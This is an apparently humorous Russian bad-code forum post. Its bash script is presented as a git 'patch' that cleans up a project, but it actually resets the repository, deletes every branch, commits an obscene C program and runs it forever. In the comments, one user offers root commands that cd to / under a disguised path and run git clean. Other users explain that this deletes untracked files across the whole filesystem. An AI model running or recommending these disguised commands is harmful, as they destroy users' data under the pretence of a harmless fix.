1. bash / Говнокод #19738

    −52

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    #!/bin/bash
    git reset --hard
    git checkout --orphan temp
    git branch > branches
    branch_list=()
    while read LINE;
    do
    	branch_list+=("$LINE");
    done < branches
    
    for str in "${branch_list[@]}";
    do 
    	[ "$str" == "* temp" ] && break 
    	git branch -D "$str"
    done
    
    git checkout -b master
    git branch -D temp
    
    printf "#include \"stdio.h\" \n\n int main(void)\n{\n\tprintf(\"Ebat' ti loh\");\n\treturn 0;\n}" > main.c
    git add main.c
    git commit -am "pobeditel' po jizni"
    
    gcc --std=gnu89 main.c -o out.o
    while : 
    do
    	./out.o
    	printf "\n"
    done

    Вышел патч для git. Добавляешь в репо с проектом и запускаешь.
    патч чистит всё говно, что найдет.

    Навеяно комментом @kerman из Говнокод #19735

    Запостил: MiD, 01 Апреля 2016

    Комментарии (15) RSS

    • cat  main.c <<'__code__'
      #include <stdio.h>
      int main(void) { printf("Ebat' ty loh\n"); return 0; }
      __code__
      Ответить
    • Ну толсто же... Вот корректные команды для удаления всего говна (выполнять под рутом, само собой):
      cd /$pwd
      git init
      echo "cleanup" > readme.txt
      git add readme.txt
      git commit -m "cleanup"
      git clean -d -f
      Ответить
      • Ну воот, пришел bormand и всё упростил:)
        А ветки тоже удалятся?
        Ответить
        • Если ты думал, что это что-то испортит - то зря. Пока не закоммитил и не проапдейтил апстрим, это все легко отменяется. Например через reflog.
          Ответить
          • > Если ты думал, что это что-то испортит - то зря.
            Ты с этим осторожней, а то ещё попробуют...
            Ответить
      • Что такое /$pwd?
        Ответить
        • Какая-то прыщемагия. Ты же у нас любитель прыщей, вот и расскажи.
          Ответить
          • какая магия, пиздюк?
            он просто опечатался

            блядь, если бы он написал
            cd /%FOO%

            было бы не магично?
            Ответить
        • Типа "опечатка", чтобы cd / не палить.
          Ответить
      • >cd /$pwd
        Шта?
        Ответить
      • Поясните за гит - от этого эффект будет похож на rm -rf /* ?
        Ответить
        • Да. git clean -d -f - удаление untracked файлов.

          З.Ы. Все гитовые репы на диске вроде как выживут.
          Ответить
          • Гит, если не ошибаюсь, смотрит в директорию .git только на самом верхнем уровне, а вложенные репы он не считает репами. Это всё-таки не svn.
            Ответить
            • > вложенные репы он не считает репами
              Считает. И не удаляет:
              Removing untracked.dir/
              Skipping repository test/
              Removing untracked.txt
              Причём внутри того репозитория даже untracked файлы выжили.
              Ответить
              • Почитал ман - git clean -f -f -d отлично удаляет всё.
                Ответить

    Добавить комментарий